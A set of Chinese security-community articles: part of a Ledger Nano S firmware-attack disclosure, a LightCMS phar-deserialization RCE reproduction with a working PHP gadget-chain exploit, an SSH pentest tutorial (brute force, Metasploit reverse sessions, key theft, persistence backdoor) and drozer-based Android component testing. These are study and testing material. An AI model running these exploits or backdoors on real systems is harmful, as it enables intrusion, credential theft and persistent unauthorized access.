然而，还存在着另外一种方法。在编译C程序时，工具链（编译程序的软件套件）会执行许多内容，从而使全部任务都能成功完成。例如，许多处理器并没有用于划分较大数字的指令，编译器会通过插入除法操作的软件来解决这一问题。另一个例子是，在为函数中定义的变量声明初始值时，当函数被调用，编译器会在开始时插入额外的代码，用于将数据复制到堆栈中。
编译器插入执行这些任务的额外函数，被称为“编译器内在函数”。由于MCU同时具有引导加载程序和固件，并且它们是完全独立的程序，所以这些内在函数将在闪存中出现两次，每个程序中只出现一次。
这样一来，我们就可以插入恶意例程，用来代替编译器intrinisc例程的一个冗余副本（特别是固件中的副本）。这样一来，我们在引导加载程序中就保留了完整的代码副本。
由于引导加载程序中的原有内容与固件中的内容完全相同，因此当SE向MCU询问其闪存内容时，我们可以通过删除恶意代码并将其从引导加载程序发送给代码，从而“拼凑”出正确的映像。当固件需要使用原有内容时，我们可以跳转到引导加载程序中的原有内容。
如果你是自行实验，在根据源代码构建引导程序和固件后，可以使用此命令来查找想要的符号。
nm -S --size-sort -t d bin/token | grep -i " t "
通过该命令，我发现了一些引导加载程序和固件中都一致的符号。毫无疑问，这些都是编译器内在函数。
134228637 00000124 T memcpy
134228761 00000140 T memset
134228357 00000266 T __udivsi3
为了实际使用我们隐藏的恶意代码，我们将不得不对其他功能进行挂钩。我们通过在想要定位的函数中插入到有效载荷的分支来实现。
这就需要将发送闪存内容的函数挂钩到SE，以便发送引导加载程序中的函数，而不是我们的恶意代码。
我也会对绘制到屏幕上的函数进行挂钩，从而就可以进行各种有趣和令人兴奋的操作。其中就包括，改变显示的比特币地址以及修改键盘记录密码的内容，我会在稍后进行解释。
用这两个钩子和__udivsi3作为我们的攻击向量，这就是我们所说的漏洞的攻击方式。
通过该方式，我们可以释放258字节的有效载荷。所以，即使我们是想将memcpy和memset放入，也需要对大小进行优化。
## 漏洞利用
我们的有效载荷共需要两部分：
1、修改发送给SE的闪存内容代码，以欺骗验证过程；
2、诸如键盘记录器、密钥生成后门等攻击。
既然我们的漏洞利用方式中无法对SE进行攻击，那么我们如何添加后门呢？
Ledger的SE固件拥有用户界面应用程序，它负责仪表盘显示和设置功能。同时，它也会用于生成恢复种子的初始过程。
如果我们可以修改用户界面，就可以修改在最开始生成的恢复种子。这一过程很简单，原因在于用户界面是开源的，并且Ledger允许用户安装修改后的UX应用程序。
在正常情况下，设备会显示“用户界面不是官方的“警告，任何一位仔细的用户在看到这个提示后都会敲响警钟。
但回顾之前的内容·，我们可以控制显示屏所显示的内容，从而就可以简单地隐藏掉非官方UX的警告。
在这个演示中，我们不会进行攻击者真正会执行的行为，例如产生一个看起来随机但实际上完全可预测的恢复种子，我们将会进行一些更为直观的操作。
diff --git a/src/bolos_ux_onboarding_3_new.c b/src/bolos_ux_onboarding_3_new.c
index ce1849c..b950ae7 100644
--- a/src/bolos_ux_onboarding_3_new.c
+++ b/src/bolos_ux_onboarding_3_new.c
@@ -395,7 +395,7 @@ void screen_onboarding_3_new_init(void) {
#else
G_bolos_ux_context.onboarding_kind = BOLOS_UX_ONBOARDING_NEW_24;
- cx_rng((unsigned char *)G_bolos_ux_context.string_buffer, 32);
+ os_memset(G_bolos_ux_context.string_buffer, 0, 32);
G_bolos_ux_context.words_buffer_length = bolos_ux_mnemonic_from_data(
(unsigned char *)G_bolos_ux_context.string_buffer, 32,
(unsigned char *)G_bolos_ux_context.words_buffer,
如果你熟悉C语言，就会注意到我正在用一个函数调用，来将随机数生成器的系统调用替换为一个函数调用，并将所有的熵设置为零。正如大家在文章中视频所看到的那样，它会生成一个恢复种子，其中前23个字不被使用（最后一个字有所不同，作为校验和）。
由于私钥来源于恢复种子，因此如果我们控制恢复种子，就可以控制设备生成的所有比特币地址。
如果我们结合上述内容，就会创造出这种非常有效的攻击方式。
当然，由于SE认为MCU在运行的是正版固件，所以可以通过认证。正如我前面提到的那样，我们不需要进行硬件篡改，就可以破坏Ledger的完整性。
由于攻击者可以控制可信任显示屏和硬件上的按钮，因此要检测到这一漏洞是非常困难的。
## 漏洞修复
Ledger采取了多种缓解措施，试图阻止攻击者利用此漏洞。
首先，MCU固件已经过优化和重新安排。具体而言，固件调用引导加载程序中的函数，而不是复制函数。虽然这可以防止特定的攻击模式，但我们知道，还存在其他的攻击方法，可能是我们所不知的。
其次，在SE要求MCU发送闪存中的内容时，SE会将MCU进行计时。这是为了防止使用压缩算法而设计的。它也可以防止计算机通过USB方式向固件中添加代码。由于代码可以保存在RAM中，因此我不太确定后者的详细完成方式。
但是，需要注意的是，SE运行频率达28MHz，而MCU运行频率高达80MHz。这就引发了一个问题，就是一个较慢的芯片是否能对一个更快的芯片进行准确计时，以防止它执行额外的内容，特别是在慢速UART通信的前提下。
Ledger拒绝提供更详细的资料，因此我没有机会验证这些缓解措施是如何修复漏洞的。
然而，是否真的有可能使用时序和“难以压缩”固件的组合来实现该模型中的安全性呢？
使用这个模型来构建安全系统是一个非常令人兴奋的建议，我认为Ledger需要推动这一趋势的发展。
## 与Ledger的沟通
在计划披露此漏洞之前，我曾与Ledger的首席执行官进行过沟通，大家可以在archive.is和archive.org上面找到其主要评论的归档副本，以防止因为一些原因而消失。
由于Ledger的一些评论是主观的，而还有一些更具有事实性，因此下面我将讨论一些这些评论。
我想要解决的第一个问题就是，在文档中，这些漏洞可能需要一系列令人难以置信的前提条件。
根据Saleem报告的漏洞，我们需要在设置种子之前先物理访问设备，安装MCU固件的自定义版本，在目标计算机上安装恶意软件并让用户点击一个特定的按钮。
我对这种方法的来源感到困惑。在后来的沟通过程中，我被告知当他们在Reddit上发表这些内容时，首席执行官根本不知情这些漏洞的存在。
正如我在文章开头所说的那样，有三种方法可以利用这一漏洞，其中有一种方案所需的条件较为简单。
我之前提到的恶意软件攻击向量，就能很好地引出我与Larchevêque评论相关的一个问题。
当出现严重的安全问题时，可以选择下面两种缓解/修复方式之一。
### 完全隐藏安全修复程序
这是一种避免引起黑帽子关注的有效方法，如果我们的产品是闭源的，那么就可以实现。
但这也有缺点，大多数用户考虑到时间、性能等问题，会避免进行更新。
### 提醒用户关键安全问题并强制更新
这通常用于开源产品，或者是供应商怀疑野外已经有安全漏洞的利用时。
然而，其缺点在于，这样的提醒会提示黑帽黑客。因此，用户必须立即更新，以获得先发制人的优势。
Ledger采用了一种有缺陷的方案，他们采用了两个方法中最糟糕的一个。由于会将重点放在固件更新中的安全修复程序，而不是提醒用户进行攻击，就会失去先发制人的优势。
这样一来，黑帽黑客就有足够的时间来确定如何利用风险，从而使所有用户都面临恶意软件的攻击威胁。
我的担忧被证明是正确的，因为我已经在固件更新中看到了相应的说明。
## 时间节点
2017年11月11日：向Ledger CTO Nicolas Bacca正式报告漏洞；
2017年11月14日：采用改进的MCU固件和用户界面，来演示实际的供应链攻击。将代码发送给Bacca。
2017年12月30日：通过将固件降级为不支持的版本来更新Ledger Nano S。
2018年3月6日：Ledger发布Ledger Nano的固件更新。
2018年3月20日：发布Write-up和PoC代码。
Ledger Blue在本文撰写之前尚未发布固件更新。
## 致谢
感谢Josh Harvey为我提供Ledger Nano S设备，因此我可以将理论上的攻击方式实际实践一遍。同时感谢Matthew Green、Kenn
White和Josh Harvey在我撰写本文的过程中提供的宝贵帮助。 | 社区文章 |
# LightCMS 文件上传&&phar反序列化rce漏洞复现
## 写在前面
在这次红帽中有一道这样的题，审的时候看到有文件上传，但是存在白名单限制，laravel6是有反序列化漏洞的，想到要用文件上传打phar的，但是没有找到可以触发phar的利用点，可惜了。
## 环境准备
phpstorm +php7.3+xdebug+lightcms 1.3.7
按照[官网](https://github.com/eddy8/LightCMS/tree/v1.3.7)的教程来安装就好了。
## 漏洞分析
拿到源码，看一圈，基本都是一些数据库的操作，而且还没有可以控制的参数。
有一个文件上传的地方。
其中的 `uploadImage` 方法可以上传图片
看一下 `isValidImage` 方法
在 `/config/light.php` 里找配置
不难发现允许上传的文件类型还是比较苛刻的。
上传的图片地址如上。
同样有 `uploadVedio` 和 `uploadFile` 方法，操作相差不大。
这个控制器下面还有一个 `catchImage` 的方法
这个方法在 1.3.5之前的版本是存在漏洞的，
<https://tyskill.github.io/Articles/CVE-2021-27112/>
可以参照这篇文章看一看。
作者修复的地方就是添加了 `fetchImageFile` 方法。
跟进看一下
先检查是否是合法的url，
如果curl 出错，会返回false，（windows 因为 没有
`file:///etc/passwd`，所以返回了fasle）也就是直接return掉了，当然我们是希望不被return的，修改一下值好了。
`isWebp`是一个自定义函数
检查图片是否是
`webP` 格式不是就进入`else`分支，执行`Image::make($data)` 方法
不断步进，先不要步过，一步一步看，小心遗漏重要的点。直到这里
我们刚刚修改的 `data`值为`true`，是为了防止刚刚被`return`掉。但其实如果我们 去 `curl` 一个正常的网页， `$data`
是有数据的，会在这里的`case` 分支进行处理，注意这里，有个 `isUrl` 方法，判断我们的`curl`
后的数据是否是个`url`？是否可以`phar` 呢？
`phar` 协议可以通过检测
再看`initFromUrl`方法。
这里用 `file_get_contents` 处理我们的`curl`后的`data`，可以触发`phar`协议。
exp如下
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
namespace{
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
echo base64_encode(serialize($o));
$phar -> setMetadata($o);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
将文件后缀改成 .gif
ok，现在在vps 上写入
phar://./upload/image/202105/IWacvAi8HW9bb6PMdmyURxQSy12tVgp2sevOUXV5.gif
打
## 写在后面
这个漏洞的利用点着实够刁钻的，一个url后再加一个url。Y1ng师傅牛逼。最后真的希望各位ctf选手洁身自好，py可真没意思，尊重出题人，尊重比赛，尊重那些有梦想的师傅。
## 参考
<https://www.gem-love.com/websecurity/2763.html> | 社区文章 |
# SSH服务安全测试
本文主要介绍了SSH协议，SSH端口扫描、服务识别，msf中与SSH协议有关的部分模块使用，通过这些模块来实现ssh弱口令暴力破解，获得shell后提升到meterpreter会话等操作。
## 一、SSH简介
Secure
Shell（安全外壳协议，简称SSH）是一种加密的网络传输协议，可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。
SSH是一种网络协议，我们常说的 ssh 一般指其实现，即 OpenSSH，在 shell 中，也就是 ssh 命令。
SSH虽然是安全外壳协议，但是也不能保证绝对的安全。如果管理员安全意识不够或者SSH服务设置不完善、SSH版本较低，也会存在一些可利用的漏洞，利用这些漏洞对目标系统造成危害。
## 二、SSH相关信息收集
用到的工具：
nmap：nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端，详细信息可参考：<https://www.cnblogs.com/LyShark/p/10637507.html>
metasploit:Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击
在信息收集的过程中可以用metasploit中与ssh有关的辅助模块（auxiliary），metasploit中的辅助模块能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息，从而发起更具目标性的精准攻击。包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、FUZZ测试发掘漏洞、实施网络协议欺骗等模块。
在漏洞利用的过程中可以使用metasploit中与ssh相关的攻击载荷模块（exploit），攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码，通常作用是为渗透攻击者打开在目标系统上的控制会话连接。详细信息可参考《metasploit渗透测试魔鬼训练营》
### 1.SSH端口扫描
* **Nmap**
使用-p参数指定要探测的端口号，-sV探测端口对应的服务版本信息，x.x.x.x为要探测的目标IP
nmap -p 22 -sV x.x.x.x
通过扫描发现目标系统，开放了22号端口，服务是ssh、版本为OpenSSH 7.4
* **MSF**
在kali linux下通过msfconsole进入metasploit，使用use
auxiliary/scanner/ssh/Tab补全，可以查看与ssh有关的辅助模块
本次使用auxiliary/scanner/ssh/ssh_version模块扫描目标主机的ssh端口、服务
通过扫描发现目标主机开放了22端口、并且探测到了对应的版本信息
## 三、SSH密码暴力破解
用到的工具有：
Hydra：hydra是著名黑客组织thc的一款开源的暴力密码破解工具，可以在线破解多种密码。
msf中的辅助模块auxiliary/scanner/ssh/ssh_login
* ### 使用hydra
将指定的密码字典准备好，然后使用hydra工具进行密码暴力破解，其中小写l用于指定用户名，大写L可以指定用户名字典，小写p用于指定密码，大写P用于指定密码字典，-t指定线程数，-o指定存储结果的文件，-vV显示详细过程，ssh指定破解的服务，如果使用非默认端口，可以使用-s来指定
Hydra -l 用户名 -P 密码字典 -t 线程 -o ssh.log -vV 目标ip ssh
如果破解成功，则会显示结果，可通过查看过程信息或存储结果文件进行查看
* ### 使用MSF
use auxiliary/scanner/ssh/ssh_login
set rhosts 1.1.2.18 //设置破解目标
set pass_file /zidian/password_ssh.txt //设置密码字典
set stop_on_success true //破解成功就停止
set user_file /zidian/user_ssh.txt //设置用户名字典
set verbose true //显示暴力破解的过程
set threads 10 //设置线程数
Run
使用msf破解成功后可以直接获得一个linux shell权限，可以使用sessions查看，通过sessions -i id进入shell
## 四、获得meterpreter权限
Meterpreter是Metasploit提供的一个非常强大的后渗透工具
获得的linux
shell仅可以实现一些基本功能，要想从一个shell获取到更多的信息，甚至拓展至整个内网，我们需要用到更强大的meterpreter工具，可用它来实现信息攫取、权限提升、内网扩展等
### 1\. 将已有的linux shell升级到meterpreter shell
使用sessions -u 会话id进行指定shell升级
### 2\. 拿到远程终端用户名密码后，获得meterpreter权限
此处使用攻击模块exploit/multi/ssh/sshexec获得meterpreter权限
use exploit/multi/ssh/sshexec
set rhosts 1.1.2.18 //设置目标IP
set username root //设置ssh登录用户名
set password centos //设置ssh登录密码
set srvhost 1.1.2.17 //设置本机IP，用于反弹会话
run
成功拿到一个meterpreter会话
## 五、配置linux主机使用RSA密钥建立SSH连接
使用RSA密钥建立SSH连接,不通过用户名密码方式。这样当用户名密码泄露了，也无法登录，只有拿到私钥才能 登录，可参考链接
<https://www.runoob.com/w3cnote/set-ssh-login-key.html>
ssh-keygen //生成rsa密钥对
cd /root/.ssh //切换到存放密钥对的目录
ls //查看密钥对
cat id_rsa.pub >> authorized_keys
//用公钥文件生成一个名为authorized_keys的文件，这个是ssh配置文件中指定的公钥名称
scp [email protected]:/root/.ssh/id_rsa ./ //把私钥文件下载到当前要ssh登录的主机
vim /etc/ssh/sshd_config //修改ssh配置文件
PasswordAuthentication no //不允许使用用户名密码登录
systemctl restart sshd.service //重启ssh服务，重启服务后测试不能使用用户名密码登录
ssh -i id_rsa [[email protected]](mailto:[email protected]) //使用私钥证书登录服务器
## 六、已获得id_rsa密钥，希望得到Meterpreter会话(私钥文件泄露的情况下)
将私钥存放在/opt/id_rsa路径下
use auxiliary/scanner/ssh/ssh_login_pubkey
set rhosts 1.1.2.18 //设置目标主机
set username hanhp //设置密钥对应的用户
set key_path /opt/id_rsa //设置存放私钥路径
run
成功通过私钥获得meterpreter会话
## 七、已获得Meterpreter会话，窃取SSH密钥
* #### 使用auxiliary/scanner/ssh/ssh_login获取Meterpreter会话
* #### 使用后渗透测试post模块获取密钥
use post/multi/gather/ssh_creds
set session 1 //设置已获得的session会话
run
执行成功后会将所有用户的密钥下载下来，找出对应用户的id_rsa文件
mv /root/.msf4/loot/20200622055622_default_1.1.2.18_ssh.id_rsa_149144.txt
id_rsa //移动私钥文件到当前目录，并改名为id_rsa
Chmod 600 id_rsa //需要将权限改小，如果私钥文件权限过大会报错
ssh -i id_rsa [[email protected]](mailto:[email protected]) //尝试登录
## 八、已获得Meterpreter会话，留下SSH密钥持久性后门
Meterpreter会话连续性不太好，断开后就需要再去获取，为了方便以后持久性的入侵，可以留下ssh密钥持久性后门
* #### 使用auxiliary/scanner/ssh/ssh_login获取meterpreter会话
使用后渗透测试post模块获取密钥
use post/linux/manage/sshkey_persistence
set session 2 //设置已获取的meterpreter会话
set username hanhp //设置要留后门的登录用户名
Run
执行后发现向目标用户的ssh密钥目录写入了公钥文件，在本地生成了私钥文件
mv 私钥文件名 id_rsa //将私钥文件移动到当前目录，并改名为id_rsa
ssh -i id_rsa [[email protected]](mailto:[email protected]) //使用获得的私钥登录
## 九、SSH有关漏洞防御机制
### １\. 修改默认端口
可通过修改默认端口来防止一些只扫描默认端口的攻击，提升攻击成本。
* 修改ssh配置文件sshd_config
vim /etc/ssh/sshd_config 找到Port 22 修改端口号，修改为其他端口号
* 防火墙放行修改端口
firewall-cmd --zone=public --add-port=22222/tcp --permanent
firewall-cmd --reload
* 向SElinux中添加修改后端口
安装semanage工具需要的依赖包 yum -y install policycoreutils-python
查询当前ssh服务端口 semanage port -l | grep ssh
向SELinux中添加ssh端口 semanage port -a -t ssh_port_t -p tcp 22222
* 重启ssh服务
systemctl restart sshd.service
修改端口后扫描22号端口状态为closed
### 2\. 加强口令强度
设置口令为8位以上大小写字母、数字、特殊符号组合，并定期更换密码，避免使用弱口令。
### 3\. 设置应用服务用户不可登录
应用服务用户一般都是不可登录的，只提供服务就可以了。 当我们编译安装的时候有的时候需要创建用户，我们就可以用-s指定该用户不可登录
* [root@test ~]# useradd test -s /sbin/nologin //创建用户，但是该用户不可登录
### 4\. 基于PAM实现登录限制
使用pam_tally2.so模块实现登录统计，实现防止对sshd暴力破解
* grep tally2 /etc/pam.d/sshd //过滤有没有该模块
* vim /etc/pam.d/sshd //修改配置文件，添加下面的内容
* auth required pam_tally2.so deny=3 even_deny_root root_unlock_time=60 unlock_time=6 //当你登录3次失败之后会让你等60s后才能再次尝试
### 5\. 及时升级SSH产品版本并更新补丁
可通过升级或打补丁的方式，防止SSH产品的相关漏洞被利用 | 社区文章 |
## 一、前言
由于前段时间遇到 Android APP 测试的需求增大，之前对于 APP
测试基本是基于常规功能点的测试，没有进行过多深入的学习，于是根据网上师傅们的文章思路学习了一下，简单总结成该文。本文主要介绍 Android APP
测试中四大组件相关测试手段，其余 APP 功能点测试与 WEB 端测试如出一辙。
### Android 四大组件
Android 四大组件分别是 Activity、Content Provider、Broadcast Receiver 以及 Service
组件名称 | 具体用途
---|---
Activity | 展示组件，用于向用户直接展示一个界面，而且可以接受用户的输入信息从而进行交互
Content Provider | 数据共享组件，用于向其他组件乃至其他应用共享数据
Broadcast Receiver | 通讯组件，用于在不同组件甚至不同应用中传递消息
Service | 能在后台执行长期运行操作的组件，它没有UI界面，运行在宿主进程的主线程中，因此执行耗时的后台计算任务需要在单独的线程中去完成
## 二、环境搭建
### drozer 安装
drozer 安装在 Windows 下，安装环境必须为 python 2.7，下载地址
[Github](https://github.com/WithSecureLabs/drozer/releases/tag/2.4.4)、[官网](https://labs.withsecure.com/tools/drozer)
1、安装 drozer 前先安装 python 2.7，安装时选择自动添加环境变量
安装完成，测试是否成功安装
2、安装 dorzer ，下载
[drozer](https://github.com/mwrlabs/drozer/releases/download/2.4.4/drozer-2.4.4.win32.msi)
后点击安装，由于系统没有识别到 Python2.7，所以我们需要指定 python2.7 路径，若系统能识别到，则选择 python2.7 即可
drozer 成功安装后，软件位于 Python 2.7 下的 Scripts 目录下
3、手机安装 `drozer-agent-2.3.4.apk`，[点击下载](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk) 安装完成后，测试是否可正常使用。首先进入 dorzer-agent app
点击右下按钮，开启端口转发功能。然后使用`具备数据传输的 USB 线`，手机连接电脑，点击文件传输使电脑可连接至手机
使用 adb 软件进行端口转发，使手机与电脑可进行通信，命令：`adb forward tcp:31415 tcp:31415`
[点击下载adb](https://developer.android.google.cn/studio/releases/platform-tools?hl=zh-cn)
注意：当使用 adb 进行端口转发，若出现报错，`error: no devices/emulators
found`，原因是我们手机没有开启开发者模式，只需打开手机开发者模式,开启 USB 调试功能，根据自身手机品牌自行进行操作，开启后再次再次执行命令
`adb.exe forward tcp:31415 tcp:31415` 即可。
最后进入 Python27\Scripts 目录下执行命令开启 drozer 与手机连接通道 `drozer.bat console
connect`，如果报错 `ImportError: No module named google.protobuf`，则需要安装依赖。
cmd 命令行执行逐一安装即可
pip2 install protobuf -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyopenssl -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyyaml -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install twisted -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install service_identity -i https://pypi.tuna.tsinghua.edu.cn/simple
安装依赖后再次执行命令 `drozer.bat console connect`，drozer 成功连接手机，drozer 启动成功
至此 drozer 安装及测试已全部完成。
## 三、四大组件测试
### Activity
由上面我们知道 Activity 为展示组件，用于向用户直接展示一个界面，而且可以接受用户的输入信息从而进行交互。具体漏洞类型及危害如下：
漏洞种类 | 危害
---|---
越权绕过 | Activity 用户界面绕过会造成用户信息窃取
拒绝服务 | 通过 Intent 给 Activity 传输畸形数据使得程序崩溃从而影响用户体验
Activity 劫持 | 组件导出导致钓鱼欺诈，Activity 界面被劫持产生欺诈等安全事件
隐式启动 intent 包含敏感数据 | 敏感信息泄露
#### 越权绕过
在 Android 系统中，Activity 组件默认是不导出的，如果 `AndroidManifest.xml` 中设置了 `exported =
"true"` 这样的关键值或者是添加了`<intent-filter>` 这样的属性，那么此时 Activity
组件是导出的，就会引发越权绕过或者是泄露敏感信息等的安全风险。 **（导出:组件可以被外部应用调用;
AndroidManifest.xml:应用清单，每个Android APP必备的文件配置，反编译后可查看其详细配置代码）**
例子:测试样本 sieve.apk，下载地址：<https://github.com/as0ler/Android-Examples>
1、手机安装 sieve.apk、drozer-agent.apk，sieve app 界面如下图左，按照上面文章 drozer
安装部分，配置好相关测试环境，手机端点击 drozer 右下角打开代理，利用 adb 进行端口转发，界面如下图右
adb开启端口转发：`adb.exe forward tcp:31415 tcp:31415`
drozer 连接手机：`drozer.bat console connect`
2、尝试利用 drozer 越权绕过 sieve app 登录界面
列出手机程序中所有的 APP 包名
run app.package.list
如上图出现文字乱码，解决方案如下：
Everything 搜索，找到位于 Python27 目录下的 `package.py`
添加如下代码
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
360、362行添加字母 u
重新启动 drozer，再次执行命令 `run app.package.list` 列出所有手机已安装程序的包名
由于列出的包名众多，无法正确分辨需测试的 APP 包名为哪个，我们转用
[GetAPKInfo](https://codeload.github.com/bihe0832/Android-GetAPKInfo/zip/refs/tags/V2.0.2) 工具来获取 sieve app 包名, `java -jar GetAPKInfo.jar
C:\Users\Boom\Desktop\sieve.apk`
然后 drozer 直接搜索包名信息 com.mwr.example.sieve,该APP具体信息如下
我们直接去查询目标应用的攻击面，通过下图可知 Activity 有3个组件是可以导出的
run app.package.attacksurface com.mwr.example.sieve
查看具体可导出的 Activity 组件信息
run app.activity.info -a com.mwr.example.sieve
调用组件，实现登录绕过界面（由于测试样本不支持高版本 Android，所以这里使用 MuMu 模拟器进行测试，实现绕过），其它 Activity
导出组件绕过测试只需更换组件名即可
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
#### Activity劫持
例子：劫持测试 APP 下载地址:<https://github.com/yanghaoi/android_app>
1、手机安装点击劫持软件 uihijackv2.0_sign.apk , drozer 开启端口转发，adb 连接 drozer
2、打开被测软件界面，这里被测软件也是使用 drozer，然后 Windows 通过 drozer 命令调用劫持软件
`uihijackv2.0_sign`，`若 uihijackv2.0_sign 界面位于被测软件上，则存在漏洞（如下图）`，若被测页面无变化则不存在漏洞。
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
#### 拒绝服务攻击
例子：测试 APP 下载地址：<https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip>
1、利用 drozer 直接查看暴露的组件，然后进行调用，查看是否出现程序崩溃情况。通过
[GetAPKInfo](https://codeload.github.com/bihe0832/Android-GetAPKInfo/zip/refs/tags/V2.0.2) 工具来获取 APP 包名为 `org.owasp.goatdroid.fourgoats`
2、安装 `OWASP GoatDroid- FourGoats Android App.apk` 软件，利用 drozer 查看其暴露组件
run app.package.attacksurface org.owasp.goatdroid.fourgoats
查看具体暴露组件
run app.activity.info -a org.owasp.goatdroid.fourgoats
3、调用组件，查看是否导致拒绝服务，若程序出现 `程序崩溃`、`已停止运行`
等程序无法运行或自动退出行为则为攻击成功。查看例子：<http://rui0.cn/archives/30>
### Conten Provider
数据共享组件，用于向其他组件乃至其他应用共享数据，由此可推算，该组件漏洞与数据相关。
漏洞种类 | 危害
---|---
信息泄露 | 查看组件数据信息
SQL注入 | 注入获取相关数据
目录遍历 | 访问任意可读文件
#### 信息泄露
1、依然使用 seive.apk 作为测试 app，但需要在第一次安装打开时需要设置账号密码
2、利用 drozer 查看 provider 数据组件具体的攻击面
run app.provider.info -a com.mwr.example.sieve
3、对 `com.mwr.example.sieve.DBContentProvider` 攻击面进行测试，列出 URI
run app.provider.finduri com.mwr.example.sieve
4、利用 drozer 扫描模块对列出的 URI 进行扫描，查看可访问的 URI ，三个 URI 可访问
run scanner.provider.finduris -a com.mwr.example.sieve
5、访问URI，查看具体内容 ，由下图可知，刚才我们所填的数据全部列了出来
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
#### SQL注入
1、进一步测试可访问的 URI 是否存在注入
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
出现语法错误，存在SQL注入
2、利用 drozer 内置注入扫描模块进行扫描,扫描存在注入
run scanner.provider.injection -a com.mwr.example.sieve
3、继续利用，列出所有数据表，得知数据库表有 `name`、`android_metadata`、`Passwords`、`Key`
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
4、单独查看表中数据，例查询 `Passwords` 表数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--"
#### 目录遍历
1、利用 drozer 自带模块扫描目录遍历，存在两个漏洞
`content://com.mwr.example.sieve.FileBackupProvider/`,`content://com.mwr.example.sieve.FileBackupProvider`
2、对其 URI 进行文件读取
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
3、读取更多信息
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
4、下载文件 (C:\Users\oooo\Desktop\database.db为文件保存路径)
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\oooo\\Desktop\\database.db
### Broadcast Receiver
漏洞种类 | 危害
---|---
敏感信息泄露 |
发送的intent没有明确指定接收者，而是简单的通过action进行匹配，恶意应用便可以注册一个广播接收者嗅探拦截到这个广播，如果这个广播存在敏感数据，就被恶意应用窃取了。
权限绕过 |
可以通过两种方式注册广播接收器，一种是在AndroidManifest.xml文件中通过<receiver>标签静态注册，另一种是通过Context.registerReceiver()动态注册，指定相应的intentFilter参数，动态注册的广播默认都是导出的，如果导出的BroadcastReceiver没有做权限控制，导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令，导致攻击者可以越权利用应用的一些特定功能，比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等</receiver>
消息伪造 | 暴露的Receiver对外接收Intent，如果构造恶意的消息放在Intent中传输，被调用的Receiver接收可能产生安全隐患
拒绝服务 |
如果敏感的BroadcastReceiver没有设置相应的权限保护，很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是，传递恶意畸形的intent数据给广播接收器，广播接收器无法处理异常导致crash。
拒绝服务攻击的危害视具体业务场景而定，比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。
#### 拒绝服务
1、查看针对 broadcast 数据组件具体的攻击面
run app.service.info -a org.owasp.goatdroid.fourgoats
2、针对 service 攻击面进行测试需要先找到相应的 action 名，这边使用 jadx 进行反编译，查看 AndroidManifest.xml
寻找 action
打开 FourGoats app 停留在首页界面，由于存漏洞，直接调用导致拒绝服务，APP程序自动退出，返回桌面
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
3、直接利用反编译获取的 action 名执行命令也可导致拒绝服务
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
未执行前
执行后，程序退出，导致拒绝服务
#### 消息伪造（发送恶意广播）
利用 jadx 反编译 apk，查看 broadcast receivers 模块具体代码，审计代码可知发送广播需要两个参数命令
具体执行代码为
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 13800000000 --extra string message test
### Service
参考文章：Service(服务)是一个一种可以在后台执行长时间运行操作而没有用户界面的应用组件。服务可由其他应用组件启动（如Activity），服务一旦被启动将在后台一直运行，即使启动服务的组件（Activity）已销毁也不受影响。
此外，组件可以绑定到服务，以与之进行交互，甚至是执行进程间通信 (IPC)。
漏洞种类 | 危害
---|---
权限提升 |
当一个service配置了intent`-`filter默认是被导出的，如果没对调用Service进行权限，限制或者是没有对调用者的身份进行有效验证，那么恶意构造的APP都可以对此Service传入恰当的参数进行调用，导致恶意行为发生比如调用具有system权限的删除卸载服务删除卸载其他应用。
service劫持 | 隐式启动services,当存在同名services,先安装应用的services优先级高
消息伪造 | 暴露的Service对外接收Intent，如果构造恶意的消息放在Intent中传输，被调用的Service接收可能产生安全隐患
拒绝服务 | Service的拒绝服务主要来源于Service启动时对接收的Intent等没有做异常情况下的处理，导致程序崩溃
